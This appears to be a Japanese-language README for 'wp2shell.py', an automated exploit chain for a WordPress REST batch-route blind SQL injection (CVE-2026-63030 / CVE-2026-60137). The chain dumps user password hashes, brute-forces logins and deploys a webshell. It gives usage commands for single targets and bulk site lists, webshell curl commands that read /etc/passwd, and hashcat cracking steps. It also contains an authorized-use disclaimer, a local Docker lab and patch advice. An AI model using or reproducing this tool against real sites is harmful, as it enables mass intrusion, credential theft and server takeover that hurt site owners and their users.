
CVE-2026-63030 / CVE-2026-60137 の自動エクスプロイトチェーン — WordPress REST バッチルート混乱による認証不要のブラインドSQLi。ユーザーハッシュをダンプし、資格情報を解析し、Webシェルを展開します。単一ターゲットおよびバルクサイトリストに対応。許可されたセキュリティテストのみを対象としています。
WordPress RESTバッチルート混乱ブラインドSQLインジェクション — 自動エクスプロイトチェーン。
CVE-2026-63030 / CVE-2026-60137
| 影響を受けるバージョン | WordPress 6.9.0 – 6.9.4 and 7.0.0 – 7.0.1 |
| 修正バージョン | WordPress 6.9.5 / 7.0.2 |
| 注入箇所 | author__not_in SQL via desync'd author_exclude parameter |
| 認証要件 | 不要(未認証SQLi) |
許可されたセキュリティテストのみを対象としています。
WordPress REST APIのバッチエンドポイント(/wp-json/batch/v1)は、ネストされたバッチリクエストを許可します。二重ネストされたデシンクペイロードにより、内部の$matches / $validation配列がシフトされ、細工されたauthor_exclude値がサニタイズなしでauthor__not_in SQLにルーティングされます。これにより、未認証のブラインドブール型+時間ベースSQLインジェクションが可能になります。
エクスプロイトチェーン — 4フェーズ:
Phase 1 Vulnerability check batch marker probe + optional SQL timing
Phase 2 Hash harvest blind SQLi extracts wp_users (login + hash)
Phase 3 Authentication wordlist attack via wp-login.php
Phase 4 Webshell deployment plugin ZIP upload -> RCE verify
aiohttpcoloramapip install aiohttp colorama
単一ターゲット
python wp2shell.py http://target.com
サイトリスト(1行に1URL)
python wp2shell.py sites.txt
サイトリスト+カスタムパスワードファイル
python wp2shell.py sites.txt -p pass.txt
既知の認証情報(ワードリストをスキップ)
python wp2shell.py http://target.com --user admin --password admin123
タイミングでSQLiを確認
python wp2shell.py http://target.com --confirm-sqli
パーマリンクなし
python wp2shell.py http://target.com --rest-route
Burpプロキシ経由
python wp2shell.py http://target.com --proxy http://127.0.0.1:8080
| ファイル | 内容 |
|---|---|
creds.txt | http://target=>user:pass(解読された場合は平文、そうでない場合はハッシュ) |
webshell.txt | 有効なウェブシェルURL |
VULNERABLE.txt | フェーズ1で脆弱性が確認された全てのターゲット |
すべてのファイルは追記されます — 結果は実行ごとに蓄積されます。
ウェブシェルの使用 — webshell.txt内のURLに?cmd=COMMANDを追加:
# browser
http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id
# curl
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=id"
curl "http://target.com/wp-content/plugins/wp2shell_XXXX/wp2shell_XXXX.php?cmd=cat+/etc/passwd"
ワードリストで見つからない場合、creds.txtに抽出されたハッシュが含まれています:
hashcat -m 400 creds.txt wordlist.txt
次に、解読されたパスワードで再実行:
python wp2shell.py http://target.com --user admin --password <plaintext>
安全なローカルテスト用に脆弱なWordPress 7.0.1インスタンスを起動します。
初回実行 — ボリュームをビルドしWordPressをインストール:
docker compose up -d db wordpress
docker compose run --rm wpcli
2回目以降の起動:
docker compose up -d db wordpress
停止:
docker compose down
完全リセット(全データ消去):
docker compose down -v
ラボに対してエクスプロイトを実行:
python wp2shell.py http://localhost:8080
WordPress 6.9.5 または 7.0.2 にアップデートしてください。修正により、ネストされたリクエストをディスパッチする前にバッチルートを検証し、SQL注入箇所を露出させるデシンクを防ぎます。
あなたが所有しているか、明示的な書面によるテスト許可を得ているシステムでのみ使用してください。無許可の使用は違法です。
| フラグ | デフォルト | 説明 |
|---|
target | — | URL(http://target)またはサイトリストファイルへのパス |
-p FILE | — | パスワードリストファイル(1行に1つ) |
--user | — | ワードリストをスキップし、このユーザー名を使用 |
--password | — | ワードリストをスキップし、このパスワードを使用 |
--confirm-sqli | off | マーカーチェック後にアクティブなSQLタイミングプローブを送信 |
--rest-route | off | /?rest_route=/batch/v1を使用(パーマリンクなし) |
--sleep N | 3.0 | SQL SLEEP() 遅延時間(秒) |
--samples N | 3 | 中央値計算のためのタイミングサンプルペア数 |
--timeout N | 30.0 | HTTPリクエストタイムアウト |
--prefix PREFIX | wp_ | データベーステーブルプレフィックス |
--proxy URL | — | HTTP/HTTPSプロキシ |
| URL | http://localhost:8080 |
| 管理者 | admin / admin123 |
| MySQLホスト | db |
| MySQLユーザー/パスワード | wpuser / wppass |
| データベース | wordpress |